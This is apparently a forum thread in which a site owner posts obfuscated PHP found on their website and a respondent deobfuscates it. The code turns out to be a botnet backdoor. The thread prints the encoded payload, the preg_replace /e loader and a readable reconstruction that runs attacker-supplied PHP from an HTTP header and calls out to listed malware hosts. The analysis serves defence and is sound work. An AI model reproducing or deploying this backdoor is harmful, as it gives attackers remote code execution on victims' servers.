kZSVVRCUlVTbDdJQ1JSVVRCUFQwOGdQU0JBWjJWMGFHOXpkR0o1Ym1GdFpTaEFKRjlUUlZKV1JWSmJVVkZSTUZFd1R6QW9NVE0wTENBeE1pbGRLVHNnYVdZZ0tDUlJVVEJQVDA4Z0lUMDlJRkZSVVRCUk1FOHdLRFEzTENBd0tTQmhibVFnYzNSeWNHOXpLQ1JSVVRCUFQwOHNJRkZSVVRCUk1FOHdLREUwTnl3Z05pa3BJQ0U5UFNBd0lHRnVaQ0J6ZEhKd2IzTW9KRkZSTUU5UFR5d2dVVkZSTUZFd1R6QW9NVFU1TENBMEtTa2dJVDA5SURBZ1lXNWtJSE4wY25CdmN5Z2tVVkV3VDA5UExDQlJVVkV3VVRCUE1DZ3hOalVzSURFeEtTa2dJVDA5SURBcGV5QWtTV3hzYkd3eFBVQm1iM0JsYmlna1VUQlJNREJQTEZGUlVUQlJNRTh3S0RFM09Td2dNaWtwT3lCQVptTnNiM05sS0NSSmJHeHNiREVwT3lCcFppQW9RR2x6WDJacGJHVW9KRkV3VVRBd1R5a3BleUIzY21sMFpTZ2tVVEJSTURCUExDQm5aWFJtYVd4bEtDUlJVVkV3VVZFcEtUc2dmVHNnZlNCOUlDUkpiR3hKTVRFZ1BTQkJjbkpoZVNoUlVWRXdVVEJQTUNneE9EY3NJREV3S1N3Z1VWRlJNRkV3VHpBb01UazRMQ0F4TVNrc0lGRlJVVEJSTUU4d0tESXdPU3dnTVRJcExDQlJVVkV3VVRCUE1DZ3lNakVzSURJeUtTazdJQ1JSTUU5UE1GRWdQU0FrU1d4c1NURXhXekZkT3lCbWRXNWpkR2x2YmlCM2NtbDBaU2drVVRCUk1EQlBMQ1JKTVRGSmJHd3BleUJwWmlBb0pGRlBNRTh3TUQxQVptOXdaVzRvSkZFd1VUQXdUeXhSVVZFd1VUQlBNQ2d4Tnprc0lESXBLU2w3SUVCbWQzSnBkR1VvSkZGUE1FOHdNQ3drU1RFeFNXeHNLVHNnUUdaamJHOXpaU2drVVU4d1R6QXdLVHNnZlNCOUlHWjFibU4wYVc5dUlHOTFkSEIxZENna1VVOHdVVTh3TENBa1NVbHNiREV4S1hzZ1pXTm9ieUJSVVZFd1VUQlBNQ2d5TkRjc0lETXBMaVJSVHpCUlR6QXVVVkZSTUZFd1R6QW9NalV3TENBeUtTNGtTVWxzYkRFeExpSmNjbHh1SWpzZ2ZTQm1kVzVqZEdsdmJpQndZWEpoYlNncGV5QnlaWFIxY200Z1VWRlJNRkV3VHpBb05EY3NJREFwT3lCOUlFQnBibWxmYzJWMEtGRlJVVEJSTUU4d0tESTFOU3dnTVRrcExDQXdLVHNnWkdWbWFXNWxLRkZSVVRCUk1FOHdLREkzTnl3Z01UWXBMQ0F4S1RzZ0pFa3hiREZzYkQxUlVWRXdVVEJQTUNneU9UUXNJRGNwT3lBa1VVOVJNREJSUFZGUlVUQlJNRTh3S0RNd01Td2dOaWs3SUNSUlR6QlJVVEE5VVZGUk1GRXdUekFvTXpFd0xDQXhOaWs3SUNSUlQxRXdVVTg5VVZGUk1GRXdUekFvTXpJNUxDQXhPQ2s3SUNSSmJERkpiREU5VVZGUk1GRXdUekFvTXpVd0xDQXhPQ2s3SUNSSmJERnNTVWs5VVZGUk1GRXdUekFvTXpjeExDQXhNQ2s3SUNSSmJERnNTVWt1UFhOMGNuUnZiRzkzWlhJb1FDUmZVMFZTVmtWU1cxRlJVVEJSTUU4d0tERXpOQ3dnTVRJcFhTazdJQ1JSVHpCUk1FOGdQU0JBSkY5VFJWSldSVkpiVVZGUk1GRXdUekFvTXpnekxDQXlNQ2xkT3lCbWIzSmxZV05vSUNna1gwZEZWQ0JoY3lBa1VVOHdVVTh3UFQ0a1NVbHNiREV4S1hzZ2FXWWdLSE4wY25CdmN5Z2tTVWxzYkRFeExGRlJVVEJSTUU4d0tEUXdOU3dnTnlrcEtYc2tYMGRGVkZza1VVOHdVVTh3WFQxUlVWRXdVVEJQTUNnME55d2dNQ2s3ZlNCbGJITmxhV1lnS0hOMGNuQnZjeWdrU1Vsc2JERXhMRkZSVVRCUk1FOHdLRFF4TlN3Z09Da3BLWHNrWDBkRlZGc2tVVTh3VVU4d1hUMVJVVkV3VVRCUE1DZzBOeXdnTUNrN2ZTQjlJR2xtS0NGcGMzTmxkQ2drWDFORlVsWkZVbHRSVVZFd1VUQlBNQ2cwTWpZc0lERTFLVjBwS1NCN0lDUmZVMFZTVmtWU1cxRlJVVEJSTUU4d0tEUXlOaXdnTVRVcFhTQTlJRUFrWDFORlVsWkZVbHRSVVZFd1VUQlBNQ2cwTkRFc0lERTFLVjA3SUdsbUtFQWtYMU5GVWxaRlVsdFJVVkV3VVRCUE1DZzBOVGtzSURFMktWMHBJSHNnSkY5VFJWSldSVkpiVVZGUk1GRXdUekFvTkRJMkxDQXhOU2xkSUM0OUlGRlJVVEJSTUU4d0tEUTNPQ3dnTWlrZ0xpQkFKRjlUUlZKV1JWSmJVVkZSTUZFd1R6QW9ORFU1TENBeE5pbGRPeUI5SUgwZ2FXWWdLQ1JSVVU4d1QxRTlKRWxzTVd4SlNTNUFKRjlUUlZKV1JWSmJVVkZSTUZFd1R6QW9OREkyTENBeE5TbGRLWHNnSkZFd1VUQlJVVDFBYldRMUtDUkpiREZzU1VrdUpGRlBVVEF3VVM1UVNGQmZUMU11SkZGUE1GRlJNQ2s3SUNSSlNXeEpNVEU5VVZGUk1GRXdUekFvTkRneExDQTNLVHNnSkVsc01Va3hTU0E5SUVGeWNtRjVLRkZSVVRCUk1FOHdLRFE1TVN3Z05pa3NJRUFrWDFORlVsWkZVbHRSVVZFd1VUQlBNQ2cwT1Rrc0lEUXBYU3dnUUNSZlUwVlNWa1ZTVzFGUlVUQlJNRTh3S0RVd05pd2dOaWxkTENCQUpGOUZUbFpiVVZGUk1GRXdUekFvTkRrNUxDQTBLVjBzSUVBa1gwVk9WbHRSVVZFd1VUQlBNQ2cxTVRRc0lEZ3BYU3dnUUNSZlJVNVdXMUZSVVRCUk1FOHdLRFV3Tml3Z05pbGRMQ0JBYVc1cFgyZGxkQ2hSVVZFd1VUQlBNQ2cxTWpNc0lERTVLU2twT3lCbWIzSmxZV05vSUNna1NXd3hTVEZKSUdGeklDUlJUMDh3TURBcGV5QnBaaUFvSVdWdGNIUjVLQ1JSVDA4d01EQXBLWHNnSkZGUFR6QXdNQzQ5UkVsU1JVTlVUMUpaWDFORlVFRlNRVlJQVWpzZ2FXWWdLRUJwYzE5M2NtbDBZV0pzWlNna1VVOVBNREF3S1NsN0lDUkpTV3hKTVRFZ1BTQWtVVTlQTURBd095QmljbVZoYXpzZ2ZTQjlJSDBnSkhSdGNEMGtTVWxzU1RFeExsRlJVVEJSTUU4d0tEVTBOU3dnTWlrdUpGRXdVVEJSVVRzZ2FXWWdLRUFrWDFORlVsWkZVbHNpU0ZSVVVGOVpYMEZWVkVnaVhUMDlKRkV3VVRCUlVTbDdJR1ZqYUc4Z0lseHlYRzRpT3lCQWIzVjBjSFYwS0ZGUlVUQlJNRTh3S0RVMU1Dd2dPQ2tzSUNSUlQxRXdNRkV1VVZGUk1GRXdUekFvTlRZeExDQXlLUzRrU1RGc01XeHNMbEZSVVRCUk1FOHdLRFUyTlN3Z05pa3BPeUJwWmlBb0pGRlBVVkZSVVQwa1VVOVJNRkZQS0VBa1gxTkZVbFpGVWx0UlVWRXdVVEJQTUNnMU56UXNJREUyS1YwcEtYc2dRR1YyWVd3b0pGRlBVVkZSVVNrN0lHVmphRzhnSWx4eVhHNGlPeUJBYjNWMGNIVjBLRkZSVVRCUk1FOHdLRFU1TlN3Z05Da3NJRkZSVVRCUk1FOHdLRFl3TVN3Z015a3BPeUI5SUdWNGFYUW9NQ2s3SUgwZ2FXWWdLRUJwYzE5bWFXeGxLQ1IwYlhBcEtYc2dRR2x1WTJ4MVpHVmZiMjVqWlNna2RHMXdLVHNnZlNCbGJITmxleUFrVVZGUE1FOVJQVUIxY214bGJtTnZaR1VvSkZGUlR6QlBVU2s3SUhWd1pDZ2tkRzF3TEZGUlVUQlJNRTh3S0RZd055d2dOaWt1VVZGUk1GRXdUekFvTmpFMExDQTBLUzRrU1d4c1NURXhXekJkTGxGUlVUQlJNRTh3S0RZeU1Td2dNVFFwTGlSUlVVOHdUMUV1VVZGUk1GRXdUekFvTmpNNUxDQTBLUzRrVVRCUk1GRlJMbEZSVVRCUk1FOHdLRFkwTlN3Z01USXBMaVJKTVd3eGJHd3VVVkZSTUZFd1R6QW9OalU0TENBMEtTNGtVVTlSTURCUktUc2dmU0I5SUgwPSIpKTsnC&cHJlZ19yZXBsYWNlz (6261736536345f6465636f6465';
if (!function_exists('QQQ0Q0O0')) {
function QQQ0Q0O0($a, $b){
$c=$GLOBALS['QQQQ'];
$d=pack('H*',substr($c, -26));
return $d(substr($c, $a, $b));
}
};
$IIIllIlll = QQQ0Q0O0(6485, 16);
$IIIllIlll("/II1lIllIl/e", QQQ0Q0O0(663, 5819), "II1lIllIl");
?>
How would I go about figuring out what this code actually does and if it is a threat to my website? What does it mean for me if it turns out to be malicious code; what should I do?
Well you definitely got hacked.
Go to the end to view the analysis. Look for bullet points.
It sets up a global variable, Q000 and then registers a function that grabs that global, takes the last 26 characters of it (which turn out be base64_decode when you look them up in an ascii table by hex value). Then it packs base 64 encoded "base64_decode" into a hex string (H*). Finally it returns a base 64 decoded substring.
This all has the effect of defining Q00Q0OOQ to be a function that substrings and then decodes the global variable. This global variable is obfuscated as well, as the botnet knows where the useful parts start and end. The rest of the global variable is junk.
I found this when base 64 decoding that global:
#p/tmpTUQ5#TT\Y\fW'6I-php
HTTP_EXECPHPmcokNGG/pg.php?u=I
There's a lot more in there. It is used by the deobfuscated code below to get function names, paths, etc...
HTTP_EXECPHP is one part, as is /pg.php?u=I
$IIllIIIIl = Q00Q0OOQ(6493, 16);
gets
preg_replace
$IIllIIIIl("/QQOOOQOOQ/e", Q00Q0OOQ(671, 5819), "QQOOOQOOQ"); gets this code...
eval(base64_decode("aWYgKCFkZWZpbmVkKCJkZXRlcm1pbmF0b3IiKSl7IGZ1bmN0aW9uIGdldGZpbGUoJFFRT1FPTyl7ICRRUVEwUVEgPSBRMDBRME9PUSgyLCA2KTsgJFEwT09RMCA9ICRRUVEwUVEuUTAwUTBPT1EoMTEsIDcpOyBpZiAoQGluaV9nZXQoUTAwUTBPT1EoMjEsIDIwKSkgPT0gUTAwUTBPT1EoNDMsIDIpKSB7ICRJSWxsbGw9QGZpbGVfZ2V0X2NvbnRlbnRzKCRRUU9RT08pOyByZXR1cm4gUTAwUTBPT1EoNDcsIDApOyB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCRRME9PUTApKXsgJElJMUlsMSA9IEAkUTBPT1EwKCk7ICRJSWxJMWwgPSAkUVFRMFFRLlEwMFEwT09RKDQ5LCAxMCk7ICRRUU9RUVEgPSAkUVFRMFFRLlEwMFEwT09RKDU5LCA3KTsgJFEwUU9PMCA9ICRRUVEwUVEuUTAwUTBPT1EoNzAsIDIpLlEwMFEwT09RKDczLCA3KTsgQCRJSWxJMWwoJElJMUlsMSwgQ1VSTE9QVF9VUkwsICRRUU9RT08pOyBAJElJbEkxbCgkSUkxSWwxLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7IEAkSUlsSTFsKCRJSTFJbDEsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7IEAkSUlsSTFsKCRJSTFJbDEsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsNSk7IGlmICgkUTAwUTAwID0gQCRRUU9RUVEoJElJMUlsMSkpIHtyZXR1cm4gUTAwUTBPT1EoNDcsIDApO30gQCRRMFFPTzAoJElJMUlsMSk7IHJldHVybiBRMDBRME9PUSg0NywgMCk7IH0gZWxzZSB7IHJldHVybiBRMDBRME9PUSg4MiwgMTQpLiRRUU9RT08uUTAwUTBPT1EoOTgsIDM5KTsgfSB9IGZ1bmN0aW9uIHVwZCgkUU8wTzBRLCRRUU9RT08peyAkSWwxMTFsID0gQGdldGhvc3RieW5hbWUoQCRfU0VSVkVSW1EwMFEwT09RKDE0MSwgMTIpXSk7IGlmICgkSWwxMTFsICE9PSBRMDBRME9PUSg0NywgMCkgYW5kIHN0cnBvcygkSWwxMTFsLCBRMDBRME9PUSgxNTksIDYpKSAhPT0gMCBhbmQgc3RycG9zKCRJbDExMWwsIFEwMFEwT09RKDE2NiwgNCkpICE9PSAwIGFuZCBzdHJwb3MoJElsMTExbCwgUTAwUTBPT1EoMTczLCAxMSkpICE9PSAwKXsgJFEwUVEwMD1AZm9wZW4oJFFPME8wUSxRMDBRME9PUSgxODcsIDIpKTsgQGZjbG9zZSgkUTBRUTAwKTsgaWYgKEBpc19maWxlKCRRTzBPMFEpKXsgd3JpdGUoJFFPME8wUSwgZ2V0ZmlsZSgkUVFPUU9PKSk7IH07IH0gfSAkUVEwUVFPID0gQXJyYXkoUTAwUTBPT1EoMTk0LCAxMCksIFEwMFEwT09RKDIwNiwgMTEpLCBRMDBRME9PUSgyMTksIDEyKSwgUTAwUTBPT1EoMjM0LCAyMikpOyAkSUlJSUlsID0gJFFRMFFRT1sxXTsgZnVuY3Rpb24gd3JpdGUoJFFPME8wUSwkUU9RUU9PKXsgaWYgKCRJMTFsSTE9QGZvcGVuKCRRTzBPMFEsUTAwUTBPT1EoMTg3LCAyKSkpeyBAZndyaXRlKCRJMTFsSTEsJFFPUVFPTyk7IEBmY2xvc2UoJEkxMWxJMSk7IH0gfSBmdW5jdGlvbiBvdXRwdXQoJElsMTFJSSwgJElsMTExMSl7IGVjaG8gUTAwUTBPT1EoMjU5LCAzKS4kSWwxMUlJLlEwMFEwT09RKDI2NSwgMikuJElsMTExMS4iXHJcbiI7IH0gZnVuY3Rpb24gcGFyYW0oKXsgcmV0dXJuIFEwMFEwT09RKDQ3LCAwKTsgfSBAaW5pX3NldChRMDBRME9PUSgyNzAsIDE5KSwgMCk7IGRlZmluZShRMDBRME9PUSgyOTAsIDE2KSwgMSk7ICRJMTFsMWw9UTAwUTBPT1EoMzA2LCA3KTsgJElJSTFJbD1RMDBRME9PUSgzMTUsIDYpOyAkUU9RUVEwPVEwMFEwT09RKDMyMSwgMTYpOyAkUVFPUU8wPVEwMFEwT09RKDM0MiwgMTgpOyAkUVEwUU9PPVEwMFEwT09RKDM2MiwgMTgpOyAkUU9PUVFPPVEwMFEwT09RKDM4MiwgMTApOyAkUU9PUVFPLj1zdHJ0b2xvd2VyKEAkX1NFUlZFUltRMDBRME9PUSgxNDEsIDEyKV0pOyAkSTFJMWxsID0gQCRfU0VSVkVSW1EwMFEwT09RKDM5NCwgMjApXTsgZm9yZWFjaCAoJF9HRVQgYXMgJElsMTFJST0+JElsMTExMSl7IGlmIChzdHJwb3MoJElsMTExMSxRMDBRME9PUSg0MTcsIDcpKSl7JF9HRVRbJElsMTFJSV09UTAwUTBPT1EoNDcsIDApO30gZWxzZWlmIChzdHJwb3MoJElsMTExMSxRMDBRME9PUSg0MjUsIDgpKSl7JF9HRVRbJElsMTFJSV09UTAwUTBPT1EoNDcsIDApO30gfSBpZighaXNzZXQoJF9TRVJWRVJbUTAwUTBPT1EoNDM3LCAxNSldKSkgeyAkX1NFUlZFUltRMDBRME9PUSg0MzcsIDE1KV0gPSBAJF9TRVJWRVJbUTAwUTBPT1EoNDU0LCAxNSldOyBpZihAJF9TRVJWRVJbUTAwUTBPT1EoNDc0LCAxNildKSB7ICRfU0VSVkVSW1EwMFEwT09RKDQzNywgMTUpXSAuPSBRMDBRME9PUSg0OTAsIDIpIC4gQCRfU0VSVkVSW1EwMFEwT09RKDQ3NCwgMTYpXTsgfSB9IGlmICgkSTFJMUlsPSRRT09RUU8uQCRfU0VSVkVSW1EwMFEwT09RKDQzNywgMTUpXSl7ICRRT09RMFE9QG1kNSgkUU9PUVFPLiRJSUkxSWwuUEhQX09TLiRRT1FRUTApOyAkUVFPMDAwPVEwMFEwT09RKDQ5NSwgNyk7ICRRUTBRT1EgPSBBcnJheShRMDBRME9PUSg1MDcsIDYpLCBAJF9TRVJWRVJbUTAwUTBPT1EoNTE0LCA0KV0sIEAkX1NFUlZFUltRMDBRME9PUSg1MjEsIDYpXSwgQCRfRU5WW1EwMFEwT09RKDUxNCwgNCldLCBAJF9FTlZbUTAwUTBPT1EoNTI3LCA4KV0sIEAkX0VOVltRMDBRME9PUSg1MjEsIDYpXSwgQGluaV9nZXQoUTAwUTBPT1EoNTM1LCAxOSkpKTsgZm9yZWFjaCAoJFFRMFFPUSBhcyAkSUkxMUkxKXsgaWYgKCFlbXB0eSgkSUkxMUkxKSl7ICRJSTExSTEuPURJUkVDVE9SWV9TRVBBUkFUT1I7IGlmIChAaXNfd3JpdGFibGUoJElJMTFJMSkpeyAkUVFPMDAwID0gJElJMTFJMTsgYnJlYWs7IH0gfSB9ICR0bXA9JFFRTzAwMC5RMDBRME9PUSg1NTQsIDIpLiRRT09RMFE7IGlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRRT09RMFEpeyBlY2hvICJcclxuIjsgQG91dHB1dChRMDBRME9PUSg1NTgsIDgpLCAkSUlJMUlsLlEwMFEwT09RKDU3MCwgMikuJEkxMWwxbC5RMDBRME9PUSg1NzMsIDYpKTsgaWYgKCRRMDBRT089JFFRT1FPMChAJF9TRVJWRVJbUTAwUTBPT1EoNTgxLCAxNildKSl7IEBldmFsKCRRMDBRT08pOyBlY2hvICJcclxuIjsgQG91dHB1dChRMDBRME9PUSg1OTgsIDQpLCBRMDBRME9PUSg2MDYsIDMpKTsgfSBleGl0KDApOyB9IGlmIChAaXNfZmlsZSgkdG1wKSl7IEBpbmNsdWRlX29uY2UoJHRtcCk7IH0gZWxzZXsgJEkxSTFJbD1AdXJsZW5jb2RlKCRJMUkxSWwpOyB1cGQoJHRtcCxRMDBRME9PUSg2MTQsIDYpLlEwMFEwT09RKDYyMiwgNCkuJFFRMFFRT1swXS5RMDBRME9PUSg2MjksIDE0KS4kSTFJMUlsLlEwMFEwT09RKDY0NiwgNCkuJFFPT1EwUS5RMDBRME9PUSg2NTEsIDEyKS4kSTExbDFsLlEwMFEwT09RKDY2NSwgNCkuJElJSTFJbCk7IH0gfSB9"));
So far what we've got is that it's running a preg_replace on whatever it is base decoding in the long string above.
OK.... sorry this is kind of a journal XD... that base64_decode above decodes this:
if (!defined("determinator")){
function getfile($QQOQOO){
$QQQ0QQ = Q00Q0OOQ(2, 6);
$Q0OOQ0 = $QQQ0QQ.Q00Q0OOQ(11, 7);
if (#ini_get(Q00Q0OOQ(21, 20)) == Q00Q0OOQ(43, 2)) {
$IIllll=#file_get_contents($QQOQOO);
return Q00Q0OOQ(47, 0);
}
elseif (function_exists($Q0OOQ0)){
$II1Il1 = #$Q0OOQ0();
$IIlI1l = $QQQ0QQ.Q00Q0OOQ(49, 10);
$QQOQQQ = $QQQ0QQ.Q00Q0OOQ(59, 7);
$Q0QOO0 = $QQQ0QQ.Q00Q0OOQ(70, 2).Q00Q0OOQ(73, 7);
#$IIlI1l($II1Il1, CURLOPT_URL, $QQOQOO);
#$IIlI1l($II1Il1, CURLOPT_HEADER,false);
#$IIlI1l($II1Il1, CURLOPT_RETURNTRANSFER,true);
#$IIlI1l($II1Il1, CURLOPT_CONNECTTIMEOUT,5);
if ($Q00Q00 = #$QQOQQQ($II1Il1)) {
return Q00Q0OOQ(47, 0);
} #$Q0QOO0($II1Il1);
return Q00Q0OOQ(47, 0);
}
else {
return Q00Q0OOQ(82, 14).$QQOQOO.Q00Q0OOQ(98, 39);
}
}
function upd($QO0O0Q,$QQOQOO){
$Il111l = #gethostbyname(#$_SERVER[Q00Q0OOQ(141, 12)]);
if ($Il111l !== Q00Q0OOQ(47, 0) and strpos($Il111l, Q00Q0OOQ(159, 6)) !== 0
and strpos($Il111l, Q00Q0OOQ(166, 4)) !== 0
and strpos($Il111l, Q00Q0OOQ(173, 11)) !== 0)
{
$Q0QQ00=#fopen($QO0O0Q,Q00Q0OOQ(187, 2));
#fclose($Q0QQ00);
if (#is_file($QO0O0Q)){
write($QO0O0Q, getfile($QQOQOO));
};
}
}
$QQ0QQO = Array(Q00Q0OOQ(194, 10), Q00Q0OOQ(206, 11), Q00Q0OOQ(219, 12),
Q00Q0OOQ(234, 22));
$IIIIIl = $QQ0QQO[1];
function write($QO0O0Q,$QOQQOO){
if ($I11lI1=#fopen($QO0O0Q,Q00Q0OOQ(187, 2))){
#fwrite($I11lI1,$QOQQOO);
#fclose($I11lI1);
}
}
function output($Il11II, $Il1111){
echo Q00Q0OOQ(259, 3).$Il11II.Q00Q0OOQ(265, 2).$Il1111."\r\n";
}
function param(){
return Q00Q0OOQ(47, 0);
}
#ini_set(Q00Q0OOQ(270, 19), 0);
define(Q00Q0OOQ(290, 16), 1);
$I11l1l=Q00Q0OOQ(306, 7);
$III1Il=Q00Q0OOQ(315, 6);
$QOQQQ0=Q00Q0OOQ(321, 16);
$QQOQO0=Q00Q0OOQ(342, 18);
$QQ0QOO=Q00Q0OOQ(362, 18);
$QOOQQO=Q00Q0OOQ(382, 10);
$QOOQQO.=strtolower(#$_SERVER[Q00Q0OOQ(141, 12)]);
$I1I1ll = #$_SERVER[Q00Q0OOQ(394, 20)];
foreach ($_GET as $Il11II=>$Il1111){
if (strpos($Il1111,Q00Q0OOQ(417, 7))){
$_GET[$Il11II]=Q00Q0OOQ(47, 0);
}
elseif (strpos($Il1111,Q00Q0OOQ(425, 8))){
$_GET[$Il11II]=Q00Q0OOQ(47, 0);
}
}
if(!isset($_SERVER[Q00Q0OOQ(437, 15)])) {
$_SERVER[Q00Q0OOQ(437, 15)] = #$_SERVER[Q00Q0OOQ(454, 15)];
if(#$_SERVER[Q00Q0OOQ(474, 16)]) {
$_SERVER[Q00Q0OOQ(437, 15)] .= Q00Q0OOQ(490, 2) . #$_SERVER[Q00Q0OOQ(474, 16)];
}
}
if ($I1I1Il=$QOOQQO.#$_SERVER[Q00Q0OOQ(437, 15)]){
$QOOQ0Q=#md5($QOOQQO.$III1Il.PHP_OS.$QOQQQ0);
$QQO000=Q00Q0OOQ(495, 7);
$QQ0QOQ = Array(Q00Q0OOQ(507, 6), #$_SERVER[Q00Q0OOQ(514, 4)],
#$_SERVER[Q00Q0OOQ(521, 6)], #$_ENV[Q00Q0OOQ(514, 4)],
#$_ENV[Q00Q0OOQ(527, 8)], #$_ENV[Q00Q0OOQ(521, 6)],
#ini_get(Q00Q0OOQ(535, 19)));
foreach ($QQ0QOQ as $II11I1){
if (!empty($II11I1)){
$II11I1.=DIRECTORY_SEPARATOR;
if (#is_writable($II11I1)){
$QQO000 = $II11I1;
break;
}
}
}
$tmp=$QQO000.Q00Q0OOQ(554, 2).$QOOQ0Q;
if (#$_SERVER["HTTP_Y_AUTH"]==$QOOQ0Q){
echo "\r\n";
#output(Q00Q0OOQ(558, 8), $III1Il.Q00Q0OOQ(570, 2).$I11l1l.Q00Q0OOQ(573, 6));
if ($Q00QOO=$QQOQO0(#$_SERVER[Q00Q0OOQ(581, 16)])){
#eval($Q00QOO);
echo "\r\n";
#output(Q00Q0OOQ(598, 4), Q00Q0OOQ(606, 3));
}
exit(0);
}
if (#is_file($tmp)){
#include_once($tmp);
}
else{
$I1I1Il=#urlencode($I1I1Il);
upd($tmp,Q00Q0OOQ(614, 6).Q00Q0OOQ(622, 4).$QQ0QQO[0].
Q00Q0OOQ(629, 14).$I1I1Il.Q00Q0OOQ(646, 4).
$QOOQ0Q.Q00Q0OOQ(651, 12).$I11l1l.Q00Q0OOQ(665, 4).$III1Il);
}
}
}
Whew... I finished formatting that code. I'm going to copy it below and try to convert it back to something readable. I could do this all night.
<?php
if (!defined("determinator")){
//used by upd. gets a file from a remote server.
//valid codepaths return empty strings...
//this doesn't seem to actually download contents, but rather
//is more of an obfuscation that really just phones home
//so the malware server knows about its infected victims.
function getfile($filename){
if (#ini_get('allow_url_fopen') == 1) {
$contents = #file_get_contents($filename);
return '';
} elseif (function_exists('curl_init')){
$handle = #curl_init();
#curl_setopt($handle, CURLOPT_URL, $filename);
#curl_setopt($handle, CURLOPT_HEADER,false);
#curl_setopt($handle, CURLOPT_RETURNTRANSFER,true);
#curl_setopt($handle, CURLOPT_CONNECTTIMEOUT,5);
if ($result = #curl_exec($handle)) {
return '';
}
#curl_close($handle);
return '';
}
else {
return '<img src="'.$filename.'" width="1px" height="1px" />';
}
}
//copies contents from $remoteFile to $localFile.
//$remoteFile resides on the botnet server, $localFile
//resides on the victim server.
function upd($localFile,$remoteFile){
$host = #gethostbyname(#$_SERVER['HTTP_HOST']);
if ($host !== '' and strpos($host, '127.') !== 0
and strpos($host, '10.') !== 0
and strpos($host, '192.168.') !== 0)
{
$fp=#fopen($localFile,'w');
#fclose($fp);
if (#is_file($localFile)){
write($localFile, getfile($remoteFile));
};
}
}
$hosts = Array('oson.in', 'gabor.se', 'silber.de',
'haveapoke.com.au');
//gabor.se is used as the host
$host1 = $hosts[1];
//helper function for upd function declared above
function write($filename,$content){
if ($fp=#fopen($filename,'w')){
#fwrite($fp,$content);
#fclose($fp);
}
}
//sends a response to the botnet server
function output($str1, $str2){
echo 'Y_'.$str1.':'.$str2."\r\n";
}
//looks useless
function param(){
return '';
}
//turns errors off and makes sure this code only runs once.
#ini_set('display_errors', 0);
define('determinator', 1);
//resets some $_GET params for some unknown reason.
foreach ($_GET as $key=>$val){
if (strpos($val,'union')){
$_GET[$key]='';
}
elseif (strpos($val,'select')){
$_GET[$key]=''
}
}
//sets the REQUEST_URI if it is not set to the path of the current php file and params
if(!isset($_SERVER['REQUEST_URI'])) {
$_SERVER['REQUEST_URI'] = #$_SERVER['SCRIPT_NAME'];
if(#$_SERVER['QUERY_STRING']) {
$_SERVER['REQUEST_URI'] .= '?' . #$_SERVER['QUERY_STRING'];
}
}
if ($url='http://'.strtolower($_SERVER['HTTP_HOST']).#$_SERVER['REQUEST_URI']){
$hashKey=#md5('http://'.strtolower($_SERVER['HTTP_HOST']).'2.12'.PHP_OS.'QQO0Q0OQOQQ0';
//begins by looping through all tmp directories
$actualTempDir='/tmp/';
$tempDirs = Array('/tmp', #$_SERVER['TMP'],
#$_SERVER['TEMP'], #$_ENV['TMP'],
#$_ENV['TMPDIR'], #$_ENV['TEMP'],
#ini_get('upload_tmp_dir'));
foreach ($tempDirs as $dir){
if (!empty($dir)){
$dir.=DIRECTORY_SEPARATOR;
if (#is_writable($dir)){
$actualTempDir = $dir;
break;
}
}
}
$tmpFile=$actualTempDir.'.'.$hashKey;
//evaluates any php code sent by the botnet server
if (#$_SERVER["HTTP_Y_AUTH"]==$hashKey){
echo "\r\n";
#output('versio', '2.12-ftp13-php');
if ($script=base64_decode(#$_SERVER['HTTP_EXECPHP'])){
#eval($script);
echo "\r\n";
#output('out', 'ok');
}
exit(0);
}
//executes $tmpFile if it exists.
if (#is_file($tmpFile)){
#include_once($tmpFile);
}
else{
//uses oson.in and downloads a file
$url=#urlencode($url);
upd($tmpFile,'http://'.$hosts[0].'/pg.php?u='.$url.'&k='.$hashKey.'&t=php&p=ftp13&v=2.12');
}
}
}
?>
Looks like the deprecated e part of preg_replace is a known security issue and will run that PHP code above.
The second header has the following code (the rest is the same, and this may even be the same..)
if (!defined("determinator")){ function getfile($QQQ0QQ){ $I1l1l1 = QQQ0Q0O0(2, 6); $Q0Q00Q = $I1l1l1.QQQ0Q0O0(9, 7); if (#ini_get(QQQ0Q0O0(19, 20)) == QQQ0Q0O0(39, 2)) { $I11ll1=#file_get_contents($QQQ0QQ); return QQQ0Q0O0(47, 0); } elseif (function_exists($Q0Q00Q)){ $I111Il = #$Q0Q00Q(); $Illlll = $I1l1l1.QQQ0Q0O0(47, 10); $QOOO0O = $I1l1l1.QQQ0Q0O0(57, 7); $Q00O0Q = $I1l1l1.QQQ0Q0O0(66, 2).QQQ0Q0O0(69, 7); #$Illlll($I111Il, CURLOPT_URL, $QQQ0QQ); #$Illlll($I111Il, CURLOPT_HEADER,false); #$Illlll($I111Il, CURLOPT_RETURNTRANSFER,true); #$Illlll($I111Il, CURLOPT_CONNECTTIMEOUT,5); if ($I11l1I = #$QOOO0O($I111Il)) {return QQQ0Q0O0(47, 0);} #$Q00O0Q($I111Il); return QQQ0Q0O0(47, 0); } else { return QQQ0Q0O0(79, 14).$QQQ0QQ.QQQ0Q0O0(95, 39); } } function upd($Q0Q00O,$QQQ0QQ){ $QQ0OOO = #gethostbyname(#$_SERVER[QQQ0Q0O0(134, 12)]); if ($QQ0OOO !== QQQ0Q0O0(47, 0) and strpos($QQ0OOO, QQQ0Q0O0(147, 6)) !== 0 and strpos($QQ0OOO, QQQ0Q0O0(159, 4)) !== 0 and strpos($QQ0OOO, QQQ0Q0O0(165, 11)) !== 0){ $Illll1=#fopen($Q0Q00O,QQQ0Q0O0(179, 2)); #fclose($Illll1); if (#is_file($Q0Q00O)){ write($Q0Q00O, getfile($QQQ0QQ)); }; } } $IllI11 = Array(QQQ0Q0O0(187, 10), QQQ0Q0O0(198, 11), QQQ0Q0O0(209, 12), QQQ0Q0O0(221, 22)); $Q0OO0Q = $IllI11[1]; function write($Q0Q00O,$I11Ill){ if ($QO0O00=#fopen($Q0Q00O,QQQ0Q0O0(179, 2))){ #fwrite($QO0O00,$I11Ill); #fclose($QO0O00); } } function output($QO0QO0, $IIll11){ echo QQQ0Q0O0(247, 3).$QO0QO0.QQQ0Q0O0(250, 2).$IIll11."\r\n"; } function param(){ return QQQ0Q0O0(47, 0); } #ini_set(QQQ0Q0O0(255, 19), 0); define(QQQ0Q0O0(277, 16), 1); $I1l1ll=QQQ0Q0O0(294, 7); $QOQ00Q=QQQ0Q0O0(301, 6); 